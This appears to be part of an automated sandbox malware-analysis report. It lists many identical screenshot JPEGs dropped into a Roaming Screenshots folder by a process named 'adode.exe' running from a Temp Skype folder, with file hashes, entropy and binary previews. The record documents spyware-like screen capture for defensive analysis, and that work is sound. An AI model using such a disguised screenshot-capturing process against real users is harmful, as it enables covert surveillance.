Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250122_115030.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250122_141730.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250122_153145.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250124_211007.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250124_234701.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_012125.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_031130.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_053832.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_080034.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_095335.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_120626.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_141331.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_153717.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_165641.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_192850.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_215214.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250125_235506.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
